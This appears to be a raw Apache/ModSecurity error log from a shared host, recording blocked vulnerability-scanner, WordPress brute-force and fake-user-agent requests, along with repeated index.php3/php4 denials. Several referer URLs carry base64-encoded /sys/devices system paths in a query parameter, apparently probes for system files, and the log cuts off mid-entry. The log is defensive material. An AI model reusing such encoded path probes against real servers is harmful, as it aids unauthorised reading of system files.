https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:23:02.065460 2026] [security2:error] [pid 646876:tid 646996] [remote 17.241.227.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZtyTkdrNlD40tSHQiQAADHU"] [Sat Jun 13 18:23:02.158813 2026] [security2:error] [pid 646876:tid 646913] [remote 217.160.212.27:43402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.212.160.217.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai30ZtyTkdrNlD40tSHQigAAHyI"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:23:02.331435 2026] [security2:error] [pid 646876:tid 646934] [remote 17.22.253.173:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 173.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZtyTkdrNlD40tSHQjQAAfDc"] [Sat Jun 13 18:23:02.377757 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.107:47775] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:02.378201 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.107:47775] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:02.479462 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:23:02.479777 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:23:02.699464 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.68:45364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:02.699783 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.68:45364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:02.819134 2026] [security2:error] [pid 715691:tid 715732] [remote 17.22.237.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZrV-dFiaX9AtWiQgegABXhY"] [Sat Jun 13 18:23:02.834519 2026] [security2:error] [pid 646876:tid 646881] [remote 17.246.19.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZtyTkdrNlD40tSHQlgAAbAI"] [Sat Jun 13 18:23:03.026685 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:23:03.027209 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:23:03.125514 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.31:21184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:03.125868 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.31:21184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:03.430939 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.9:27984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:03.431203 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.9:27984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:03.451127 2026] [security2:error] [pid 715691:tid 715731] [remote 17.246.15.210:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 210.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Z7V-dFiaX9AtWiQgmQABPhU"] [Sat Jun 13 18:23:03.461368 2026] [access_compat:error] [pid 715691:tid 715788] [remote 57.141.14.59:30833] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:03.461675 2026] [access_compat:error] [pid 715691:tid 715788] [remote 57.141.14.59:30833] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:03.515573 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:23:03.515866 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:23:03.660377 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.67:29011] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:03.660663 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.67:29011] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:03.915287 2026] [security2:error] [pid 715691:tid 715750] [remote 17.246.23.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Z7V-dFiaX9AtWiQgqAABCyg"] [Sat Jun 13 18:23:03.941747 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.48:49517] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:03.942202 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.48:49517] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:03.951975 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.18:38002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:03.952611 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.18:38002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:04.002598 2026] [security2:error] [pid 715691:tid 715964] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/bug22207.phpt"] [unique_id "ai30aLV-dFiaX9AtWiQgrgAAAYU"] [Sat Jun 13 18:23:04.041725 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:23:04.042189 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:23:04.162142 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.11:40397] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:04.162584 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.11:40397] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:04.233518 2026] [security2:error] [pid 646876:tid 646915] [remote 17.241.219.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30aNyTkdrNlD40tSHQswAAfyQ"] [Sat Jun 13 18:23:04.397459 2026] [security2:error] [pid 715691:tid 715938] [client 40.160.6.187:41196] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "aynabeautystudio.com"] [uri "/"] [unique_id "ai30aLV-dFiaX9AtWiQguQAAAWs"] [Sat Jun 13 18:23:04.518588 2026] [access_compat:error] [pid 715691:tid 715725] [remote 57.141.14.27:55130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:04.518876 2026] [access_compat:error] [pid 715691:tid 715725] [remote 57.141.14.27:55130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:04.568099 2026] [security2:error] [pid 715691:tid 715710] [remote 17.241.75.185:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 185.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30aLV-dFiaX9AtWiQgwQABHQA"] [Sat Jun 13 18:23:04.583458 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:23:04.583947 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:23:04.649127 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.20:32716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:04.649582 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.20:32716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:04.653242 2026] [security2:error] [pid 646876:tid 646949] [remote 17.246.19.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30aNyTkdrNlD40tSHQvAAAQEY"] [Sat Jun 13 18:23:04.918684 2026] [security2:error] [pid 715691:tid 715789] [remote 17.22.245.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30aLV-dFiaX9AtWiQgzQABI04"] [Sat Jun 13 18:23:04.932307 2026] [security2:error] [pid 715691:tid 715949] [client 40.160.6.187:41206] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "aynabeautystudio.com"] [uri "/"] [unique_id "ai30aLV-dFiaX9AtWiQgzwAAAXY"] [Sat Jun 13 18:23:05.038331 2026] [access_compat:error] [pid 715691:tid 715716] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:05.038796 2026] [access_compat:error] [pid 715691:tid 715716] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:05.124275 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.61:30948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:05.124733 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.61:30948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:05.144971 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:05.145257 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:05.216914 2026] [security2:error] [pid 646876:tid 646889] [remote 17.241.75.196:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 196.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30adyTkdrNlD40tSHQygAAKgo"] [Sat Jun 13 18:23:05.259257 2026] [security2:error] [pid 715691:tid 715877] [client 